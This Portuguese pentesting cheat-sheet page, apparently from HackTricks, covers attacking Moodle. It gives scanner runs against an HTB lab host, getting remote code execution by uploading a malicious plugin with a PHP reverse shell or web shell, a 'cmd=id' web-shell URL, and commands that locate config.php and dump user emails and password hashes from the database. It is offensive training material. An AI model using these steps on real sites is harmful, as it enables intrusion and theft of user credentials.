# Moodle {{#include ../../banners/hacktricks-training.md}} ## Scans Automáticos ### droopescan ```bash pip3 install droopescan droopescan scan moodle -u http://moodle.example.com// [+] Plugins found: forum http://moodle.schooled.htb/moodle/mod/forum/ http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt http://moodle.schooled.htb/moodle/mod/forum/version.php [+] No themes found. [+] Possible version(s): 3.10.0-beta [+] Possible interesting urls found: Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt) Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/) [+] Scan finished (0:00:05.643539 elapsed) ``` ### moodlescan ```bash #Install from https://github.com/inc0d3/moodlescan python3 moodlescan.py -k -u http://moodle.example.com// Version 0.7 - Dic/2020 ............................................................................................................. By Victor Herrera - supported by www.incode.cl ............................................................................................................. Getting server information http://moodle.schooled.htb/moodle/ ... server : Apache/2.4.46 (FreeBSD) PHP/7.4.15 x-powered-by : PHP/7.4.15 x-frame-options : sameorigin last-modified : Wed, 07 Apr 2021 21:33:41 GMT Getting moodle version... Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta Searching vulnerabilities... Vulnerabilities found: 0 Scan completed. ``` ### CMSMap ```bash pip3 install git+https://github.com/dionach/CMSmap.git cmsmap http://moodle.example.com/ ``` ### CVEs Eu descobri que as ferramentas automáticas são bastante **inúteis para encontrar vulnerabilidades que afetam a versão do moodle**. Você pode **verificar** por elas em [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** Você precisa ter o papel de **gerente** e você **pode instalar plugins** dentro da aba **"Administração do site"**: ![](<../../images/image (630).png>) Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). Então, você pode **instalar o seguinte plugin** que contém o clássico rev shell php do pentest-monkey (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_) {{#file}} moodle-rce-plugin.zip {{#endfile}} Ou você poderia usar o plugin de [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) para obter um shell PHP regular com o parâmetro "cmd". Para acessar e lançar o plugin malicioso, você precisa acessar: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` ## POST ### Encontrar credenciais do banco de dados ```bash find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ``` ### Extrair Credenciais do banco de dados ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` {{#include ../../banners/hacktricks-training.md}}